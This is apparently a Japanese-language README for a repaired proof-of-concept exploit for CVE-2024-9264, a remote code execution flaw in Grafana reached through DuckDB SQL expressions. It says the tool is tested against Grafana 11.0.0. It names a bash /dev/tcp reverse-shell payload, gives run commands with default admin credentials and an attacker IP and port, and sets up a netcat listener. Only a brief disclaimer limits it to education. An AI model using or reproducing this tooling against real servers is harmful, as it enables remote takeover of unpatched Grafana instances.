🛠️ CVE-2024-9264 - 修正版 Grafana RCE エクスプロイト

これは、CVE-2024-9264（Grafanaにおける重大なリモートコード実行脆弱性、SQL式とDuckDB経由）の概念実証エクスプロイトの修正版です。

🔗 元のアドバイザリ: Grafana Security Release
❌ 元のPoC: 構文エラーと write_file() の誤った使用により破損
✅ このバージョンは動作します。脆弱なGrafana 11.0.0インスタンスでテスト済みです。

✅ このバージョンの修正点

• ✅ 正しく writefile() を使用（write_file() の代わり）（DuckDB関数）
• ✅ bash -i >& /dev/tcp/... を使用した適切なシェルペイロード
• ✅ shellfs 拡張機能を介してリバースシェルが正常に書き込まれ、実行されました

📦 必要条件

• 以下のGrafanaインスタンス:
  • DuckDBバックエンド
  • install shellfs from community を実行できること
• 攻撃マシン上のnetcatリスナー

🚀 使用方法

python3 fixed_poc_writefile.py \
  --url http://target:3000 \
  --username admin \
  --password admin \
  --reverse-ip <YOUR_IP> \
  --reverse-port 4444

その後、以下でリッスン:

nc -lvnp 4444

⚠️ 法的免責事項

このプロジェクトは教育目的のみです。
テストする許可がないターゲットに対して使用しないでください。

✍️ この修正の作成者

修正・検証: Exerr — 元のPoC: z3k0sec。